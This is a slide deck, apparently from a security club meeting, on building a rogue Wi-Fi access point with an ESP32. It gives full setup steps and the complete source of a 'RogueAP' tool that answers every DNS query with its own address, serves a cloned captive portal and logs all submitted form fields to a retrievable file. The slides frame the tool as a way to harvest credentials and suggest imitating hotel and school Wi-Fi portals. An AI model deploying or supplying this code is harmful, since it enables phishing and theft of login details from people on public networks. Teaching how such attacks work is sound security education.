rogue APs

nkoul.tech/nullify

What is a rogue AP? 

Access Points allow access to the Internet

What if we wanted to harvest credentials?

ESP32s used in this presentation

https://www.amazon.com/dp/B08246MCL5?psc=1&ref=ppx_yo2_dt_b_product_details

Setting up Arduino

Open up Arduino IDE

Add board to Arduino

File -> Preferences -> Additional boards Manager URLs

Add board to Arduino

Add board to Arduino

Hit ok twice, then go to Tools -> Board: -> Boards Manager

Add board to Arduino

Search for "esp32" in the popup, hit install on "esp32:

Add board to Arduino

We're ready to program!!! Select ESP32 Dev Module from the boards! (Tools -> Boards -> ESP32 Dev Module)

Download Custom Libraries

https://github.com/nhatuan84/esp32-webserver download and extract the files from here

Browse to the extracted folder and add

Add JSON Library

Tools -> Manage Libraries

Add JSON Library

Search for "json" in the popup, and Install Arduino Json by Benoit Blanchon, v5.13.5

Download ESP Tool

Download the FIRST asset from: https://github.com/me-no-dev/arduino-esp32fs-plugin/releases/tag/1.0​  and extract, then move the jar file to C:/Program Files (x86)/Arduino/tools/ESP32FS/tool/esp32fs.jar. You will have to create the folder ESP32FS and tool in the tools directory 

Restart the Arduino IDE

Download CP2102 Drivers

Download the FIRST asset from: https://github.com/me-no-dev/arduino-esp32fs-plugin/releases/tag/1.0​  and extract, then move the jar file to C:/Program Files (x86)/Arduino/tools/ESP32FS/tool/esp32fs.jar. You will have to create the folder ESP32FS and tool in the tools directory 

Restart the Arduino IDE

Programming

Download this repo, extract and open  https://github.com/Mr-Blonde/RogueAP 

Copy this code!

/*
 * RogueAP for ESP32
 * version 0.1 (05/19/2018)
 * 
 * - Act as fake access point 
 * - Respond all DNS queries with own IP
 * - Provide captive portal
 */


#include <WiFiClient.h>
#include <ESP32WebServer.h>
#include <WiFi.h>
#include <DNSServer.h>
#include "FS.h"
#include <SPIFFS.h>
#include <detail/RequestHandlersImpl.h>
#include <ArduinoJson.h>

#define CONFIG_FILE "/config.json"
#define MAX_PORTALS 10

// struct for the global config
struct CONFIG {
  String activePortal;
  String logFileName;
  String ssid;
  String configDomain;
  uint8_t numStoredPortals;
  String availablePortals[MAX_PORTALS];
} config;

// general settings - no need to change
const byte DNS_PORT = 53;
IPAddress apIP(192, 168, 1, 1);
DNSServer dnsServer;

ESP32WebServer server(80);

/*
 * SETUP
 * - enable serial (for DEBUG output)
 * - enable SPIFFS
 * - load config from flash file system (SPIFFS)
 * - enable Wifi and AP mode
 * - enable DNS
 * - enable webserver
 */
void setup() {

  Serial.begin(250000); 

  // start flash file system and load config from JSON file
  SPIFFS.begin();
  loadConfig();
  
  // Enable AP mode
  WiFi.mode(WIFI_AP);
  WiFi.softAP(config.ssid.c_str());
  delay(100);   // bugfix for internal processes to finish before setting IP addr.
  WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));

  // if DNSServer is started with "*" for domain name, it will reply with
  // provided IP to all DNS request
  dnsServer.start(DNS_PORT, "*", apIP);
    
  /* register callback function for webserver */
  server.on("/", servePortal);              // usual request
  server.on("/logfile.txt", serveLogFile);  // get 'secret'logfile
  server.on("/config", configPage);         // config page

  server.onNotFound(handleUnknown);
  
  /* start web server */
  server.begin();
  Serial.println("\n\nHTTP server started");

  /* write a line into the logfile to indicate the startup */
  File file = SPIFFS.open(config.logFileName, FILE_APPEND);
  if(!file){
    Serial.println("- failed to open file for appending");
    return;
  }
  file.println("--- restart ---");
  
}

/*
 * Main program loop
 * - process DNS requests
 * - process HTTP requests
 */
void loop() {
  dnsServer.processNextRequest();
  server.handleClient();
}

/*
 * send the 'secret' logfile
 */
void serveLogFile() {
  // verify that the request was made with the correct config url
  Serial.print("Requested FQDN: #"); Serial.print(server.hostHeader());Serial.println("#");
  if (!server.hostHeader().equals(config.configDomain)) {
    Serial.print("does not match config FQDN! should be: #"); Serial.print(config.configDomain);Serial.println("#");
    servePortal();
    return;
  }
  // return the logfile
  serveFile(config.logFileName.c_str());
}


// serve the captive portal page
void servePortal() {
  // are there any arguments? in case yes, it seems like the user already clicked submit
  if (server.args() > 0) {
    // go through all arguments
    String logEntry;
    for (uint8_t i=0; i<server.args(); i++) {
      logEntry += server.argName(i) + ": " + server.arg(i) + "   ";
    }
    logEntry += "\n";
    Serial.println(logEntry);

    // write all arguments to the logfile
    File file = SPIFFS.open(config.logFileName, FILE_APPEND);
    if(!file){
        Serial.println("- failed to open file for appending");
        return;
    }
    file.print(logEntry);
  }
  // serve the portal page
  serveFile(config.activePortal.c_str());
}


// Trying to load scripts from SPIFFS
void handleUnknown() {
  String filename = "/scripts";
  filename += server.uri();
  serveFile(filename.c_str());
} // End handleUnknown

void serveFile(const char* fileName) {
  File pageFile = SPIFFS.open(fileName, "r");
  if (pageFile && !pageFile.isDirectory()) {
    String contentTyp = StaticRequestHandler::getContentType(fileName);
    server.sendHeader("Cache-Control","public, max-age=31536000");
    size_t sent = server.streamFile(pageFile, contentTyp);
    pageFile.close();
  }
  else
//    notFound();
  servePortal();
}

// load the config stored in a json file
bool loadConfig() {
  File configFile = SPIFFS.open(CONFIG_FILE, "r");
  if (!configFile) {
    Serial.println("Failed to open config file");
    return false;
  }

  size_t size = configFile.size();
  if (size > 1024) {
    Serial.println("Config file size is too large");
    return false;
  }

  // Allocate a buffer to store contents of the file.
  std::unique_ptr<char[]> buf(new char[size]);

  configFile.readBytes(buf.get(), size);

  StaticJsonBuffer<200> jsonBuffer;
  JsonObject& json = jsonBuffer.parseObject(buf.get());

  if (!json.success()) {
    Serial.println("Failed to parse config file");
    return false;
  }

  // copy to active config
  config.activePortal = String((const char*) json["activePortal"]);
  config.logFileName = String((const char*) json["logFileName"]);
  config.ssid = String((const char*) json["ssid"]);
  config.configDomain = String((const char*) json["configDomain"]);
  return true;
}

// safe the current config to a json file in SPIFFS
bool saveConfig() {
  StaticJsonBuffer<200> jsonBuffer;
  JsonObject& json = jsonBuffer.createObject();
  json["activePortal"] = config.activePortal;
  json["logFileName"] = config.logFileName;
  json["ssid"] = config.ssid;
  json["configDomain"] = config.configDomain;
  
  File configFile = SPIFFS.open(CONFIG_FILE, "w");
  if (!configFile) {
    Serial.println("Failed to open config file for writing");
    return false;
  }

  json.printTo(configFile);
  return true;
}

/*
 * Check the flash (SPIFFS) for available portals (single page HTML files)
 */
void checkAvailablePortals(){
    File root = SPIFFS.open("/portals");
    if(!root){
        Serial.println("Failed to open directory");
        return;
    }
    if(!root.isDirectory()){
        Serial.println("Not a directory");
        return;
    }
    config.numStoredPortals = 0;
    File file = root.openNextFile();
    while(file){
        if(!file.isDirectory()){
            config.availablePortals[config.numStoredPortals] = file.name();
            config.numStoredPortals++;
         }
        file = root.openNextFile();
    }
}

/*
 * 'secret' config page
 */
void configPage() {
  // verify that the request was made with the correct config url
  Serial.print("Requested FQDN: #"); Serial.print(server.hostHeader());Serial.println("#");
  if (!server.hostHeader().equals(config.configDomain)) {
    Serial.print("does not match config FQDN! should be: #"); Serial.print(config.configDomain);Serial.println("#");
    servePortal();
    return;
  }

  // Check whether there are arguents or not. In case yes, store the configuration. If not, show the config page
  if (server.args() > 0) {
    // go through all arguments
    if (server.hasArg("portal")) { config.activePortal = server.arg("portal"); config.activePortal.trim(); }
    if (server.hasArg("ssid")) { config.ssid = server.arg("ssid"); config.ssid.trim(); }
    if (server.hasArg("logFile")) { config.logFileName = server.arg("logFile"); config.logFileName.trim(); }
    if (server.hasArg("configDomain")) { config.configDomain = server.arg("configDomain"); config.configDomain.trim(); }

    /* DEBUG */
    Serial.print("PORTAL: "); Serial.println(config.activePortal);
    Serial.print("SSID: "); Serial.println(config.ssid);
    Serial.print("LOG: "); Serial.println(config.logFileName);
    Serial.print("ConfigDomain: "); Serial.println(config.configDomain);

    // save config to flash
    saveConfig();

    // send http ok message
    String html;
    html = "<html><head></head><body><h2>Config saved</h2>";
    html += config.activePortal;
    html += "<br>";
    html += config.ssid;
    html += "<br>";
    html += config.logFileName;
    html += "<br>";
    html += config.configDomain;
    html += "</body></html>";
    server.send(200, "text/html", html);
    return;
    
  } else {        // show config page
    // see what portals are available
    checkAvailablePortals();

    // construct config page
    String html;
    html += "<html>";
    html += "<head>";
    html += "  <title>Fake AP config page</title>";
    html += "</head>";
    html += "<body>";
    html += "  <h2>Fake AP config page</h2>";
    html += "  <div class=\"form\" action=\"/config\">";
    html += "  <form class=\"register-form\">";
    html += "    <table sytle=\"width: 100%\">";
    html += "      <tr>";
    html += "        <th>Paramater</th>";
    html += "        <th>Value</th>";
    html += "      </tr>";
    html += "      <tr>";
    html += "        <td>SSID</td>";
    html += "        <td><input type=\"ssid\" placeholder=\"SSID\" name=\"ssid\" value=\"";
    html += config.ssid;
    html += " \"/></td>";
    html += "      </tr>";
    html += "      <tr>";
    html += "        <td>LogFile</td>";
    html += "        <td><input type=\"logFile\" placeholder=\"LogFile\" name=\"logFile\" value=\"";
    html += config.logFileName;
    html += " \"/></td>";
    html += "      </tr>";
    html += "          <tr>";
    html += "          <td>Capture portal</td>";
    html += "          <td>";
    html += "            <select name=\"portal\">";
    for (uint8_t loop = 0; loop < config.numStoredPortals; loop++) {
      html += "                <option value=\"";
      html += config.availablePortals[loop];
      if (config.activePortal == config.availablePortals[loop].c_str()) {
        html += "\" selected>";
      } else {
        html += "\">";
      }
      html += config.availablePortals[loop];
      html += "</option>";
    }
    html += "            </select>";
    html += "          </td>";
    html += "        </tr>";
    html += "      <tr>";
    html += "        <td>Config domain</td>";
    html += "        <td><input type=\"configDomain\" placeholder=\"configDomain\" name=\"configDomain\" value=\"";
    html += config.configDomain;
    html += " \"/></td>";
    html += "      </tr>";
    html += "    </table>";
    html += "  <input type=\"submit\" value=\"Save\">";
    html += "  </form>";
    html += "  </div>";
    html += "</body>";
    html += "</html>";
  
    server.send(200, "text/html", html);
  }
}

Programming

Paste the copied into a new Arduino Sketch and Save.

After Saving, open the sketch folder, under

Sketch->Show Sketch Folder. 

Copy the data folder from the github repo into here

Programming

Go into the data directory and open the config.json with any text editor, and change SSID to your name or something unique, and remember it.

Uploading Sketch

First Upload Data

Then Upload Code

Programming 

If there are issues, make sure that the correct COM port is selected.

Connect to the APs

  • Connect to your APs
  • What do you notice upon first connection?
  • Go to http://config.org/logfile.txt

Customizations

  • This is a Limited example
  • Hotel free WiFi
  • Clone portals
  • School WiFis

Links

  • https://github.com/Mr-Blonde/RogueAP/wiki
  • https://github.com/lemariva/SquirelCrawl - for compressing webpages into one HTML file

Thank you

 

NULLify RogueAP Meeting

By Neil Koul

NULLify RogueAP Meeting

Slides for the NULLify meeting on rogue APs

  • 65